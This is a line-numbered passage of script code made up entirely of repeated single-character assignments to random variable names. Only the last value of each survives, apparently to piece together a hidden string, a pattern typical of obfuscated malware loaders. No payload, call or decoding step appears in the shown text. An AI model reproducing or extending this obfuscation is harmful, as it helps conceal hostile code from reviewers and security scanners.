89	qfiod = "W";
90	qfiod = "X";
91	qfiod = "h";
92	qfiod = "C";
93	qfiod = "l";
94	qfiod = "3";
95	mpmmlv = "M";
96	mpmmlv = "t";
97	mpmmlv = "u";
98	mpmmlv = "J";
99	mpmmlv = "m";
100	mpmmlv = "A";
101	mpmmlv = "d";
102	mpmmlv = "r";
103	lawghbers = "W";
104	lawghbers = "P";
105	lawghbers = "O";
106	lawghbers = ".";
107	tjqjzdmb = "J";
108	tjqjzdmb = "p";
109	tjqjzdmb = "q";
110	tjqjzdmb = "X";
111	tjqjzdmb = "l";
112	tjqjzdmb = "e";
113	tjqjzdmb = "Y";
114	tjqjzdmb = "o";
115	tjqjzdmb = "i";
116	tjqjzdmb = "H";
117	tjqjzdmb = "k";
118	tjqjzdmb = "J";
119	tjqjzdmb = "S";
120	tjqjzdmb = "L";
121	tjqjzdmb = "C";
122	tjqjzdmb = "O";
123	tjqjzdmb = "D";
124	tjqjzdmb = "k";
125	tjqjzdmb = "g";
126	tjqjzdmb = "T";
127	tjqjzdmb = "P";
128	tjqjzdmb = "m";
129	tjqjzdmb = "K";
130	jfbaxe = "r";
131	jfbaxe = "i";
132	jfbaxe = "z";
133	jfbaxe = "i";
134	jfbaxe = "G";
135	jfbaxe = "m";
136	jfbaxe = "a";
137	jfbaxe = "b";
138	jfbaxe = "K";
139	jfbaxe = "g";
140	jfbaxe = "P";
141	jfbaxe = "W";
142	jfbaxe = "t";
143	jfbaxe = "A";
144	jfbaxe = "5";
145	ordczaskw = "W";
146	ordczaskw = "w";
147	ordczaskw = "i";
148	ordczaskw = "j";
149	ordczaskw = "W";
150	ordczaskw = "j";
151	ordczaskw = "G";
152	ordczaskw = "J";
153	ordczaskw = "B";
154	ordczaskw = "H";
155	ordczaskw = "H";
156	ordczaskw = "q";
157	vehliziq = "I";
158	vehliziq = "F";
159	vehliziq = "M";
160	vehliziq = "j";
161	vehliziq = "O";
162	vehliziq = "b";
163	vehliziq = "U";
164	vehliziq = "u";
165	vehliziq = "Q";
166	vehliziq = "t";
167	vehliziq = "W";
168	vehliziq = "w";
169	vehliziq = "u";
170	vehliziq = "V";
171	vehliziq = "r";
172	vehliziq = "n";
173	vehliziq = "a";
174	vehliziq = "K";
175	vehliziq = "C";
176	vehliziq = "P";
177	vehliziq = "I";
178	vehliziq = "v";
179	vehliziq = "x";
180	vehliziq = "Q";
181	vehliziq = "g";
182	vehliziq = "H";
183	vehliziq = "M";
184	vehliziq = "b";
185	vehliziq = "c";
186	vehliziq = "W";
187	vehliziq = "O";
188	vehliziq = "W";
189	vehliziq = "o";
190	kxnlpuwk = "H";
191	kxnlpuwk = "C";
192	kxnlpuwk = "B";
193	kxnlpuwk = "W";
194	kxnlpuwk = "Z";
195	kxnlpuwk = "r";
196	kxnlpuwk = "P";
197	kxnlpuwk = "y";
198	kxnlpuwk = "M";
199	kxnlpuwk = "1";
200	pfaogrui = "I";
201	pfaogrui = "V";
202	pfaogrui = "i";
203	pfaogrui = "s";
204	pfaogrui = "z";
205	pfaogrui = "q";
206	pfaogrui = "U";
207	pfaogrui = "Z";
208	pfaogrui = "Y";
209	pfaogrui = "z";
210	pfaogrui = "c";
211	pfaogrui = "C";
212	pfaogrui = "e";
213	pfaogrui = "T";
214	izjljaxo = "v";
215	izjljaxo = "f";
216	izjljaxo = "m";
217	izjljaxo = "F";
218	izjljaxo = "H";
219	izjljaxo = "w";
220	kzdxnwnjd = "s";
221	kzdxnwnjd = "i";
222	kzdxnwnjd = "n";
223	kzdxnwnjd = "t";
224	kzdxnwnjd = "G";
225	kzdxnwnjd = "F";
226	kzdxnwnjd = "Y";
227	kzdxnwnjd = "q";
228	kzdxnwnjd = "b";
229	kzdxnwnjd = "K";
230	kzdxnwnjd = "A";
231	kzdxnwnjd = "w";
232	kzdxnwnjd = "E";
233	isfrtu = "A";
234	isfrtu = "j";
235	isfrtu = "G";
236	isfrtu = "M";
237	isfrtu = "S";
238	isfrtu = "u";
239	isfrtu = "m";
240	isfrtu = "G";
241	isfrtu = "r";
242	isfrtu = "P";
243	isfrtu = "Z";
244	isfrtu = "e";
245	isfrtu = "j";
246	isfrtu = "H";
247	isfrtu = "y";
248	isfrtu = "k";
249	isfrtu = "X";
250	isfrtu = "M";
251	isfrtu = "w";
252	isfrtu = "P";
253	isfrtu = "T";
254	isfrtu = "J";
255	isfrtu = "A";
256	isfrtu = "v";
257	isfrtu = "A";
258	isfrtu = "K";
259	isfrtu = "H";
260	isfrtu = "j";
261	isfrtu = "z";
262	isfrtu = "d";
263	isfrtu = "v";
264	isfrtu = "p";
265	isfrtu = "x";
266	isfrtu = "C";
267	isfrtu = "u";
268	isfrtu = "h";
269	isfrtu = "r";
270	isfrtu = "B";
271	isfrtu = "i";
272	isfrtu = "a";
273	isfrtu = "J";
274	isfrtu = "l";
275	isfrtu = "9";
276	spymvs = "i";
277	spymvs = "K";
278	spymvs = "s";
279	spymvs = "v";
280	spymvs = "d";
281	spymvs = "d";
282	spymvs = "p";
283	spymvs = "Z";
284	spymvs = "H";
285	spymvs = "m";
286	spymvs = "P";
287	spymvs = "W";
288	spymvs = "v";
289	spymvs = "A";
290	spymvs = "G";
291	spymvs = "J";
292	spymvs = "A";
293	spymvs = "r";
294	spymvs = "D";
295	spymvs = "i";
296	spymvs = "r";
297	spymvs = "H";
298	spymvs = "k";
299	spymvs = "P";
300	spymvs = "p";
301	spymvs = "Q";
302	spymvs = "R";
303	spymvs = "s";
304	spymvs = "a";
305	spymvs = "N";
306	spymvs = "F";
307	spymvs = "A";
308	spymvs = "%";
309	ryrlbtmmf = "w";
310	ryrlbtmmf = "d";
311	ryrlbtmmf = "I";
312	ryrlbtmmf = "H";
313	ryrlbtmmf = "m";
314	ryrlbtmmf = "f";
315	ryrlbtmmf = "P";
316	ryrlbtmmf = "G";
317	ryrlbtmmf = "r";
318	ryrlbtmmf = "a";
319	ryrlbtmmf = "z";
320	ryrlbtmmf = "v";
321	ryrlbtmmf = "l";
322	ryrlbtmmf = "H";
323	ryrlbtmmf = "U";
324	ryrlbtmmf = "w";
325	ryrlbtmmf = "z";
326	ryrlbtmmf = "w";
327	ryrlbtmmf = "G";
328	ryrlbtmmf = "b";
329	ryrlbtmmf = "n";
330	ryrlbtmmf = "x";
331	ryrlbtmmf = "S";
332	ryrlbtmmf = "Q";
333	ryrlbtmmf = "W";
334	ryrlbtmmf = "f";
335	gnujwal = "B";
336	gnujwal = "o";
337	gnujwal = "F";
338	gnujwal = "d";
339	gnujwal = "A";
340	gnujwal = "C";
341	gnujwal = "P";
342	gnujwal = "A";
343	gnujwal = "O";
344	gnujwal = "H";
345	gnujwal = "e";
346	gnujwal = "R";
347	gnujwal = "D";
348	gnujwal = "j";
349	vxglvfk = "f";
350	vxglvfk = "u";
351	vxglvfk = "a";
352	vxglvfk = "K";
353	vxglvfk = "x";
354	vxglvfk = "M";
355	vxglvfk = "T";
356	vxglvfk = "L";
357	vxglvfk = "N";
358	vxglvfk = "m";
359	vxglvfk = "Y";
360	vxglvfk = "A";
361	vxglvfk = "e";
362	meggvdkq = "r";
363	meggvdkq = "r";
364	meggvdkq = "s";
365	meggvdkq = ":";
366	rwdtlz = "W";
367	rwdtlz = "H";
368	rwdtlz = "G";
369	rwdtlz = "r";
370	rwdtlz = "y";
371	rwdtlz = "W";
372	rwdtlz = "y";
373	rwdtlz = "B";
374	rwdtlz = "O";
375	rwdtlz = "V";
376	rwdtlz = "t";
377	rwdtlz = "D";
378	rwdtlz = "f";
379	rwdtlz = "S";
380	rwdtlz = "A";
381	rwdtlz = "i";
382	rwdtlz = "e";
383	rwdtlz = "A";
384	rwdtlz = "p";
385	rwdtlz = "j";
386	rwdtlz = "j";
387	rwdtlz = "V";
388	rwdtlz = "m";
389	rwdtlz = "e";
390	rwdtlz = "r";
391	rwdtlz = "y";
392	rwdtlz = "f";
393	rwdtlz = "f";
394	rwdtlz = "l";
395	rwdtlz = "b";
396	rwdtlz = "U";
397	rwdtlz = "d";
398	rwdtlz = "U";
399	rwdtlz = "G";
400	rwdtlz = "N";
401	rwdtlz = "J";
402	rwdtlz = "y";
403	rwdtlz = "m";
404	rwdtlz = "o";
405	rwdtlz = "W";
406	jhfdkn = "m";
407	jhfdkn = "A";
408	jhfdkn = "N";
409	jhfdkn = "v";
410	jhfdkn = "x";
411	jhfdkn = "D";
412	jhfdkn = "d";
413	jhfdkn = "B";
414	jhfdkn = "y";
415	jhfdkn = "P";
416	jhfdkn = "e";
417	jhfdkn = "v";
418	jhfdkn = "U";
419	jhfdkn = "w";
420	jhfdkn = "N";
421	jhfdkn = "A";
422	jhfdkn = "a";
423	jhfdkn = "h";
424	jhfdkn = "y";
425	jhfdkn = "B";
426	jhfdkn = "q";
427	jhfdkn = "R";
428	jhfdkn = "C";
429	jhfdkn = "H";
430	jhfdkn = "V";
431	jhfdkn = "Y";
432	jhfdkn = "t";
433	jhfdkn = "T";
434	jhfdkn = "R";
435	jhfdkn = "g";
436	jhfdkn = "k";
437	jhfdkn = "&";
438	varuuwml = "A";
439	varuuwml = "Z";
440	varuuwml = "m";
441	varuuwml = "Y";
442	varuuwml = "w";
443	varuuwml = "M";
444	varuuwml = "c";
445	varuuwml = "r";
446	varuuwml = "C";
447	varuuwml = "p";
448	varuuwml = "X";
449	varuuwml = "U";
450	varuuwml = "t";
451	varuuwml = "I";
452	varuuwml = "p";
453	varuuwml = "x";
454	varuuwml = "q";
455	varuuwml = "G";
456	varuuwml = "Z";
457	varuuwml = "c";
458	varuuwml = "_";
459	qryqk = "S";
460	qryqk = "e";
461	qryqk = "X";
462	qryqk = "m";
463	qryqk = "d";
464	qryqk = "I";
465	qryqk = "k";
466	qryqk = "m";
467	qryqk = "r";
468	qryqk = "b";
469	qryqk = "X";
470	qryqk = "Y";
471	qryqk = "n";
472	qryqk = "h";
473	qryqk = "x";
474	qryqk = "K";
475	qryqk = "E";
476	qryqk = "Y";
477	qryqk = "K";
478	qryqk = "t";
479	qryqk = "T";
480	qryqk = "C";
481	qryqk = "E";
482	qryqk = "j";
483	qryqk = "h";
484	qryqk = "Y";
485	qryqk = "o";
486	qryqk = "F";
487	qryqk = "A";
488	qryqk = "k";
489	azxyljys = "N";
490	azxyljys = "f";
491	azxyljys = "O";
492	azxyljys = "x";
493	azxyljys = "K";
494	azxyljys = "o";
495	azxyljys = "w";
496	azxyljys = "X";
497	azxyljys = "H";
498	azxyljys = "f";
499	azxyljys = "D";
500	azxyljys = "e";
501	azxyljys = "Q";
502	azxyljys = "y";
503	azxyljys = "K";
504	azxyljys = "q";
505	azxyljys = "b";
506	mlmzl = "F";
507	mlmzl = "E";
508	mlmzl = "n";
509	mlmzl = "x";
510	mlmzl = "a";
511	mlmzl = "C";
512	mlmzl = "l";
513	mlmzl = "T";
514	mlmzl = "F";
515	mlmzl = "m";
516	mlmzl = "L";
517	mlmzl = "E";
518	mlmzl = "m";
519	mlmzl = "N";
520	mlmzl = "B";
521	mlmzl = "U";
522	mlmzl = "w";
523	mlmzl = "c";
524	mlmzl = "H";
525	mlmzl = "d";
526	mlmzl = "U";
527	mlmzl = "e";
528	mlmzl = "z";
529	mlmzl = "L";
530	mlmzl = "e";
531	mlmzl = "J";
532	mlmzl = "H";
533	mlmzl = "V";
534	mlmzl = "H";
535	mlmzl = "p";
536	mlmzl = "G";
537	mlmzl = "n";
538	mlmzl = "r";
539	mlmzl = "r";
540	mlmzl = "L";
541	mlmzl = "e";
542	mlmzl = "M";
543	mlmzl = "S";
544	mlmzl = "U";
545	mlmzl = "q";
546	mlmzl = "C";
547	mlmzl = "i";
548	sggofax = "c";
549	vjkbcumss = "e";
550	vjkbcumss = "v";
551	vjkbcumss = "S";
552	vjkbcumss = "n";
553	vjkbcumss = "P";
554	vjkbcumss = "j";
555	vjkbcumss = "v";
556	vjkbcumss = "o";
557	vjkbcumss = "z";
558	vjkbcumss = "S";
559	vjkbcumss = "L";
560	vjkbcumss = "N";
561	vjkbcumss = "g";
562	vjkbcumss = "N";
563	dfbqkyyae = "e";
564	dfbqkyyae = "J";
565	dfbqkyyae = "U";
566	dfbqkyyae = "P";
567	dfbqkyyae = "p";
568	dfbqkyyae = "H";
569	dfbqkyyae = "C";
570	iigbyfy = "U";
571	iigbyfy = "z";
572	iigbyfy = "n";
573	iigbyfy = "J";
574	iigbyfy = "U";
575	iigbyfy = "s";
576	iigbyfy = "h";
577	iigbyfy = "p";
578	iigbyfy = "x";
579	iigbyfy = "b";
580	iigbyfy = "h";
581	iigbyfy = "J";
582	iigbyfy = "E";
583	iigbyfy = "I";
584	iigbyfy = "q";
585	iigbyfy = "S";
586	iigbyfy = "N";
587	iigbyfy = "D";
588	iigbyfy = "T";
589	iigbyfy = "y";
590	iigbyfy = "X";
591	iigbyfy = "E";
592	iigbyfy = "o";
593	iigbyfy = "s";
594	iigbyfy = "J";
595	iigbyfy = "v";
596	iigbyfy = "Q";
597	iigbyfy = "j";
598	iigbyfy = "s";
599	iigbyfy = "t";
600	iigbyfy = "H";
601	ekgbptncc = "a";
602	ekgbptncc = "q";
603	ekgbptncc = "n";
604	ekgbptncc = "Q";
605	ekgbptncc = "e";
606	ekgbptncc = "K";
607	ekgbptncc = "f";
608	ekgbptncc = "i";
609	ekgbptncc = "h";
610	ekgbptncc = "E";
611	ekgbptncc = "e";
612	ekgbptncc = "p";
613	ekgbptncc = "I";
614	ekgbptncc = "Y";
615	ekgbptncc = "p";
616	ekgbptncc = "J";
617	ekgbptncc = "d";
618	ashudlpmk = "k";
619	ashudlpmk = "n";
620	ashudlpmk = "N";
621	ashudlpmk = "X";
622	ashudlpmk = "Z";
623	ashudlpmk = "X";
624	ashudlpmk = "J";
625	ashudlpmk = "n";
626	ashudlpmk = "j";
627	ashudlpmk = "u";
628	ashudlpmk = "F";
629	ashudlpmk = "Y";
630	bnbpkhwl = "C";
631	bnbpkhwl = "N";
632	bnbpkhwl = "y";
633	bnbpkhwl = "X";
634	bnbpkhwl = "b";
635	bnbpkhwl = "P";
636	bnbpkhwl = "D";
637	bnbpkhwl = "S";
638	bnbpkhwl = "m";
639	bnbpkhwl = "G";
640	bnbpkhwl = "N";
641	bnbpkhwl = "y";
642	bnbpkhwl = "C";
643	bnbpkhwl = "C";
644	bnbpkhwl = "S";
645	bnbpkhwl = "P";
646	aspuel = "b";
647	aspuel = "L";
648	aspuel = "e";
649	aspuel = "J";
650	aspuel = "n";
651	aspuel = "f";
652	aspuel = "o";
653	aspuel = "B";
654	aspuel = "d";
655	aspuel = "Q";
656	aspuel = "C";
657	aspuel = "I";
658	aspuel = "t";
659	aspuel = "t";
660	aspuel = "q";
661	aspuel = "p";
662	aspuel = "y";
663	aspuel = "k";
664	aspuel = "T";
665	aspuel = "e";
666	aspuel = "x";
667	aspuel = "v";
668	aspuel = "a";
669	aspuel = "h";
670	aspuel = "Y";
671	aspuel = "h";
672	aspuel = "c";
673	aspuel = "f";
674	aspuel = "v";
675	zaufzsh = "c";
676	zaufzsh = "c";
677	zaufzsh = "R";
678	zaufzsh = "l";
679	zaufzsh = "c";
680	zaufzsh = "z";
681	zaufzsh = "o";
682	zaufzsh = "Y";
683	zaufzsh = "r";
684	zaufzsh = "l";
685	zaufzsh = "J";
686	zaufzsh = "R";
687	zaufzsh = "p";
688	zaufzsh = "i";
689	zaufzsh = "G";
690	zaufzsh = "v";
691	zaufzsh = "s";
692	zaufzsh = "T";
693	zaufzsh = "k";
694	zaufzsh = "Q";
695	zaufzsh = "G";
696	zaufzsh = "c";
697	zaufzsh = "P";
698	zaufzsh = "J";
699	zaufzsh = "L";
700	zaufzsh = "t";
701	zaufzsh = "w";
702	zaufzsh = "Y";
703	zaufzsh = "n";
704	zaufzsh = "j";
705	zaufzsh = "N";
706	zaufzsh = "z";
707	zaufzsh = "k";
708	zaufzsh = "O";
709	zaufzsh = "m";
710	zaufzsh = "e";
711	zaufzsh = "e";
712	zaufzsh = "Y";
713	zaufzsh = "k";
714	zaufzsh = "G";
715	zaufzsh = "U";
716	zaufzsh = "u";
717	pqihft = "q";
718	pqihft = "Z";
719	pqihft = "p";
720	pqihft = "T";
721	pqihft = "a";
722	pqihft = "I";
723	pqihft = "h";
724	pqihft = "M";
725	pqihft = "N";
726	pqihft = "T";
727	pqihft = "w";
728	pqihft = "d";
729	pqihft = "P";
730	pqihft = "Y";
731	pqihft = "D";
732	pqihft = "O";
733	pqihft = "o";
734	pqihft = "K";
735	pqihft = "I";
736	pqihft = "I";
737	pqihft = "D";
738	pqihft = "a";
739	pqihft = "C";
740	pqihft = "w";
741	pqihft = "s";
742	pqihft = "H";
743	pqihft = "E";
744	pqihft = "k";
745	pqihft = "U";
746	pqihft = "H";
747	pqihft = "H";
748	pqihft = "o";
749	pqihft = "l";
750	pqihft = "M";
751	pqihft = "q";
752	pqihft = "e";
753	pqihft = "I";
754	pqihft = "u";
755	pqihft = "F";
756	pqihft = "\\";
757	ywciopzgt = "E";
758	ywciopzgt = "u";
759	ywciopzgt = "j";
760	ywciopzgt = "M";
761	ywciopzgt = "t";
762	ywciopzgt = "z";
763	ywciopzgt = "T";
764	ywciopzgt = "q";
765	ywciopzgt = "E";
766	ywciopzgt = "R";
767	ywciopzgt = "E";
768	ywciopzgt = "Y";
769	ywciopzgt = "g";
770	ywciopzgt = "m";
771	ywciopzgt = "s";
772	ywciopzgt = "d";
773	ywciopzgt = "K";
774	ywciopzgt = "v";
775	ywciopzgt = "Q";
776	ywciopzgt = "f";
777	ywciopzgt = "R";
778	ywciopzgt = "J";
779	ywciopzgt = "m";
780	ywciopzgt = "a";
781	ywciopzgt = "z";
782	ywciopzgt = " ";
783	hcbgm = "Y";
784	hcbgm = "p";
785	hcbgm = "b";
786	hcbgm = "k";
787	hcbgm = "o";
788	hcbgm = "x";
789	hcbgm = "v";
790	hcbgm = "N";
791	hcbgm = "c";
792	hcbgm = "W";
793	hcbgm = "n";
794	hcbgm = "r";
795	hcbgm = "g";
796	hcbgm = "E";
797	hcbgm = "Y";
798	hcbgm = "t";
799	hcbgm = "S";
800	hcbgm = "y";
801	hcbgm = "a";
802	hcbgm = "n";
803	hcbgm = "f";
804	hcbgm = "s";
805	hcbgm = "z";
806	hcbgm = "r";
807	hcbgm = "B";
808	hcbgm = "g";
809	hcbgm = "x";
810	hcbgm = "b";
811	hcbgm = "Q";
812	hcbgm = "B";
813	hcbgm = "L";
814	hcbgm = "l";
815	hcbgm = "E";
816	hcbgm = "a";
817	hcbgm = "b";
818	hcbgm = "/";
819	yjayumzm = "c";
820	yjayumzm = "b";
821	yjayumzm = "R";
822	yjayumzm = "@";
823	akdit = "R";
824	akdit = "e";
825	akdit = "V";
826	akdit = "x";
827	akdit = "d";
828	akdit = "Y";
829	akdit = "H";
830	akdit = "E";
831	akdit = "P";
832	akdit = "N";
833	akdit = "D";
834	akdit = "d";
835	akdit = "O";
836	akdit = "S";
837	akdit = "E";
838	akdit = "k";
839	akdit = "N";
840	akdit = "G";
841	akdit = "R";
842	akdit = "F";
843	akdit = "X";
844	akdit = "s";
845	akdit = "R";
846	akdit = "j";
847	akdit = "s";
848	akdit = "O";
849	akdit = "w";
850	akdit = "Z";
851	akdit = "K";
852	akdit = "H";
853	akdit = "K";
854	akdit = "Z";
855	akdit = "Q";
856	akdit = "L";
857	akdit = "I";
858	akdit = "d";
859	akdit = "m";
860	akdit = "F";
861	akdit = "d";
862	akdit = "k";
863	akdit = "S";
864	akdit = "H";
865	akdit = "T";
866	akdit = "6";
867	kvtlf = "X";
868	kvtlf = "w";
869	kvtlf = "d";
870	kvtlf = "e";
871	kvtlf = "b";
872	kvtlf = "I";
873	kvtlf = "f";
874	kvtlf = "T";
875	kvtlf = "n";
876	kvtlf = "C";
877	kvtlf = "i";
878	kvtlf = "Q";
879	kvtlf = "g";
880	kvtlf = "D";
881	kvtlf = "x";
882	kvtlf = "U";
883	kvtlf = "N";
884	kvtlf = "J";
885	kvtlf = "o";
886	kvtlf = "a";
887	kvtlf = "A";
888	kvtlf = "Q";
889	kvtlf = "f";
890	kvtlf = "t";
891	kvtlf = "F";
892	kvtlf = "q";
893	kvtlf = "S";
894	zngltzdi = "y";
895	zngltzdi = "L";
896	hxoju = "k";
897	hxoju = "s";
898	hxoju = "t";
899	ydjdpir = "G";
900	ydjdpir = "X";
901	ydjdpir = "N";
902	ydjdpir = "M";
903	ydjdpir = "R";
904	ydjdpir = "u";
905	ydjdpir = "C";
906	ydjdpir = "z";
907	ydjdpir = "y";
908	ydjdpir = "m";
909	ydjdpir = "k";
910	ydjdpir = "Q";
911	ydjdpir = "x";
912	ydjdpir = "n";
913	ydjdpir = "X";
914	ydjdpir = "u";
915	ydjdpir = "T";
916	ydjdpir = "S";
917	ydjdpir = "e";
918	ydjdpir = "U";
919	ydjdpir = "n";
920	ydjdpir = "C";
921	ydjdpir = "u";
922	ydjdpir = "Y";
923	ydjdpir = "O";
924	yqsfvejzp = "l";
925	yqsfvejzp = "H";
926	yqsfvejzp = "a";
927	yqsfvejzp = "u";
928	yqsfvejzp = "W";
929	yqsfvejzp = "b";
930	yqsfvejzp = "P";
931	yqsfvejzp = "U";
932	jfkqwpk = "v";
933	jfkqwpk = "m";
934	jfkqwpk = "G";
935	jfkqwpk = "X";
936	jfkqwpk = "v";
937	jfkqwpk = "K";
938	jfkqwpk = "n";
939	jfkqwpk = "W";
940	jfkqwpk = "B";
941	jfkqwpk = "r";
942	jfkqwpk = "h";
943	evqsj = "W";
944	evqsj = "R";
945	evqsj = "h";
946	evqsj = "p";
947	evqsj = "Y";
948	evqsj = "c";
949	evqsj = "W";
950	evqsj = "Y";
951	evqsj = "g";
952	gvgiat = "W";
953	gvgiat = "D";
954	gvgiat = "K";
955	gvgiat = "T";
956	gvgiat = "U";
957	gvgiat = "j";
958	gvgiat = "D";
959	gvgiat = "D";
960	gvgiat = "C";
961	gvgiat = "o";
962	gvgiat = "Z";
963	gvgiat = "n";
964	gvgiat = "l";
965	kpjfbfkgb = "l";
966	kpjfbfkgb = "m";
967	kpjfbfkgb = "B";
968	kpjfbfkgb = "H";
969	kpjfbfkgb = "u";
970	kpjfbfkgb = "r";
971	kpjfbfkgb = "V";
972	kpjfbfkgb = "Z";
973	kpjfbfkgb = "d";
974	kpjfbfkgb = "x";
975	kpjfbfkgb = "R";
976	kpjfbfkgb = "J";
977	kpjfbfkgb = "y";
978	kpjfbfkgb = "T";
979	kpjfbfkgb = "I";
980	kpjfbfkgb = "n";
981	kpjfbfkgb = "o";
982	kpjfbfkgb = "W";
983	kpjfbfkgb = "u";
984	kpjfbfkgb = "a";
985	kpjfbfkgb = "x";
986	kpjfbfkgb = "O";
987	kpjfbfkgb = "L";
988	kpjfbfkgb = "m";
989	kpjfbfkgb = "z";
990	kpjfbfkgb = "k";
991	kpjfbfkgb = "o";
992	kpjfbfkgb = "s";
993	kpjfbfkgb = "K";
994	kpjfbfkgb = "O";
995	kpjfbfkgb = "k";
996	kpjfbfkgb = "s";
997	kpjfbfkgb = "w";
998	kpjfbfkgb = "2";
999	huuwk = "m";
1000	huuwk = "Q";
1001	huuwk = "H";
1002	huuwk = "z";
1003	huuwk = "a";
1004	huuwk = "q";
1005	huuwk = "C";
1006	huuwk = "p";
1007	huuwk = "X";
1008	huuwk = "l";
1009	huuwk = "b";
1010	huuwk = "t";
1011	huuwk = "n";
1012	huuwk = "g";
1013	huuwk = "\"";
1014	lgbohwriu = "S";
1015	lgbohwriu = "M";
1016	lgbohwriu = "H";
1017	lgbohwriu = "D";
1018	lgbohwriu = "K";
1019	lgbohwriu = "B";
1020	lgbohwriu = "Q";
1021	lgbohwriu = "Z";
1022	lgbohwriu = "h";
1023	lgbohwriu = "i";
1024	lgbohwriu = "n";
1025	lgbohwriu = "V";
1026	lgbohwriu = "K";
1027	lgbohwriu = "Z";
1028	lgbohwriu = "f";
1029	lgbohwriu = "Q";
1030	lgbohwriu = "a";
1031	lgbohwriu = "F";
1032	tpfwrpkxs = "s";
1033	tpfwrpkxs = "x";
1034	tpfwrpkxs = "T";
1035	tpfwrpkxs = "N";
1036	tpfwrpkxs = "B";
1037	tpfwrpkxs = "q";
1038	tpfwrpkxs = "o";
1039	tpfwrpkxs = "A";
1040	tpfwrpkxs = "p";
1041	tpfwrpkxs = "i";
1042	tpfwrpkxs = "f";
1043	tpfwrpkxs = "P";
1044	tpfwrpkxs = "f";
1045	tpfwrpkxs = "a";
1046	tpfwrpkxs = "j";
1047	tpfwrpkxs = "E";
1048	tpfwrpkxs = "E";
1049	tpfwrpkxs = "W";
1050	tpfwrpkxs = "r";
1051	tpfwrpkxs = "t";
1052	tpfwrpkxs = "A";
1053	tpfwrpkxs = "s";
1054	tpfwrpkxs = "R";
1055	tpfwrpkxs = "K";
1056	tpfwrpkxs = "t";
1057	tpfwrpkxs = "W";
1058	tpfwrpkxs = "s";
1059	tpfwrpkxs = "G";
1060	tpfwrpkxs = "w";
1061	tpfwrpkxs = "y";
1062	tpfwrpkxs = "D";
1063	tpfwrpkxs = "0";
1064	tcpbvyf = "m";
1065	tcpbvyf = "j";
1066	tcpbvyf = "x";
1067	tcpbvyf = "r";
1068	tcpbvyf = "C";
1069	tcpbvyf = "Y";
1070	tcpbvyf = "C";
1071	tcpbvyf = "A";
1072	tcpbvyf = "j";
1073	tcpbvyf = "I";
1074	fmoiimt = "s";
1075	rregesnfk = "m";
1076	rregesnfk = "d";
1077	rregesnfk = "H";
1078	rregesnfk = "n";
1079	regckhr = "r";
1080	regckhr = "k";
1081	regckhr = "T";
1082	regckhr = "e";
1083	regckhr = "y";
1084	regckhr = "S";
1085	regckhr = "l";
1086	regckhr = "l";
1087	regckhr = "a";
1088	regckhr = "g";
1089	regckhr = "K";
1090	regckhr = "R";
1091	regckhr = "d";
1092	regckhr = "c";
1093	regckhr = "D";
1094	regckhr = "r";
1095	regckhr = "4";
1096	nareqbw = "f";
1097	nareqbw = "D";
1098	nareqbw = "S";
1099	nareqbw = "v";
1100	nareqbw = "X";
1101	nareqbw = "j";
1102	nareqbw = "T";
1103	nareqbw = "J";
1104	nareqbw = "D";
1105	nareqbw = "f";
1106	nareqbw = "e";
1107	nareqbw = "Q";
1108	nareqbw = "R";
1109	nareqbw = "b";
1110	nareqbw = "N";
1111	nareqbw = "o";
1112	nareqbw = "d";
1113	nareqbw = "a";
1114	nareqbw = "Q";
1115	nareqbw = "T";
1116	nareqbw = "B";
1117	nareqbw = "o";
1118	nareqbw = "u";
1119	nareqbw = "k";
1120	nareqbw = "K";
1121	nareqbw = "M";
1122	nareqbw = "m";
1123	nareqbw = "V";
1124	nareqbw = "S";
1125	nareqbw = "Y";
1126	nareqbw = "B";
1127	nareqbw = "V";
1128	nareqbw = "L";
1129	nareqbw = "j";
1130	nareqbw = "p";
1131	nareqbw = "p";
1132	nareqbw = "t";
1133	nareqbw = "I";
1134	nareqbw = "r";
1135	nareqbw = "-";
1136	ezfwcb = "W";
1137	ezfwcb = "e";
1138	ezfwcb = "d";
1139	ezfwcb = "C";
1140	ezfwcb = "O";
1141	ezfwcb = "H";
1142	ezfwcb = "X";
1143	ezfwcb = "n";
1144	ezfwcb = "w";
1145	ezfwcb = "g";
1146	ezfwcb = "M";
1147	ezfwcb = "F";
1148	ezfwcb = "i";
1149	ezfwcb = "j";
1150	ezfwcb = "y";
1151	ezfwcb = "W";
1152	ezfwcb = "a";
1153	ezfwcb = "s";
1154	ezfwcb = "o";
1155	ezfwcb = "H";
1156	ezfwcb = "s";
1157	ezfwcb = "E";
1158	ezfwcb = "N";
1159	ezfwcb = "Q";
1160	ezfwcb = "v";
1161	ezfwcb = "V";
1162	ezfwcb = "V";
1163	ezfwcb = "Q";
1164	ezfwcb = "f";
1165	ezfwcb = "L";
1166	ezfwcb = "P";
1167	ezfwcb = "I";
1168	ezfwcb = "p";
1169	lrrnnhnn = "g";
1170	lrrnnhnn = "x";
1171	nitpe = "n";
1172	nitpe = "j";
1173	nitpe = "j";
1174	nitpe = "d";
1175	nitpe = "u";
1176	nitpe = "I";
1177	nitpe = "X";
1178	nitpe = "y";
1179	nitpe = "s";
1180	nitpe = "m";
1181	nitpe = "d";
1182	nitpe = "g";
1183	nitpe = "M";
1184	nitpe = "y";
1185	nitpe = "q";
1186	nitpe = "p";
1187	nitpe = "a";
1188	nitpe = "k";
1189	nitpe = "N";
1190	nitpe = "x";
1191	nitpe = "W";
1192	nitpe = "m";
1193	mhzzcjgo = "J";
1194	mhzzcjgo = "E";
1195	mhzzcjgo = "D";
1196	mhzzcjgo = "c";
1197	mhzzcjgo = "F";
1198	mhzzcjgo = "a";
1199	rlivl = "w";
1200	rlivl = "E";
1201	rlivl = "R";
1202	rlivl = "C";
1203	rlivl = "q";
1204	rlivl = "Q";
1205	rlivl = "O";
1206	rlivl = "L";
1207	rlivl = "E";
1208	rlivl = "E";
1209	rlivl = "A";
1210	rlivl = "Z";
1211	rlivl = "k";
1212	rlivl = "u";
1213	rlivl = "S";
1214	rlivl = "I";
1215	rlivl = "m";
1216	rlivl = "S";
1217	rlivl = "n";
1218	rlivl = "A";
1219	rlivl = "n";
1220	rlivl = "W";
1221	rlivl = "i";
1222	rlivl = "v";
1223	rlivl = "e";
1224	rlivl = "e";
1225	rlivl = "f";
1226	rlivl = "o";
1227	rlivl = "b";
1228	rlivl = "u";
1229	rlivl = "r";
1230	rlivl = "H";
1231	rlivl = "o";
1232	rlivl = "k";
1233	rlivl = "q";
1234	rlivl = "o";
1235	rlivl = "E";
1236	rlivl = "x";
1237	rlivl = "I";
1238	rlivl = "R";
1239	ousadnnm = "X";
1240	ousadnnm = "W";
1241	ousadnnm = "N";
1242	ousadnnm = "p";
1243	ousadnnm = "r";
1244	ousadnnm = "D";
